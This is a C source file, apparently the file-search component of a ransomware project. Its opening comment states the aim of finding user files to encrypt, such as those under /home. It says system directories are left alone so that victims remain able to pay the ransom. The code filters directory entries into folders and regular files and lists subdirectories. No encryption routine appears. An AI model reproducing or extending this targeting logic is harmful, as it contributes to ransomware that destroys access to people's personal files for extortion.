/*** * SEARCH * * Find valid files to encrypt */ /* Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) */ #define _GNU_SOURCE #include "search.h" #include #include #include #include #include #include #include #include int folderonly(const struct dirent64 *tester) { // Filter out the current and previous dir macros if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) return 0; // Check if the "file" is specifically a dir struct stat64 sb; if(stat64(tester->d_name, &sb) < 0) { error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); return 0; // Don't try to traverse into a dir that we don't know is a dir or not } // Filter out non dirs if((sb.st_mode & S_IFMT) != S_IFDIR) return 0; return 1; } int fileonly(const struct dirent64 *tester) { // Check if the "file" is specifically a dir struct stat64 sb; if(stat64(tester->d_name, &sb) < 0) { error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten } // Filter out dirs if((sb.st_mode & S_IFMT) != S_IFREG) return 0; return 1; } int main (void) { struct dirent64 **eps; int n; n = scandir64("./", &eps, folderonly, alphasort64); if(n >= 0) { for(int cnt = 0; cnt < n; cnt++) puts(eps[cnt]->d_name); } else { perror("Couldn't open dir"); } return 0; }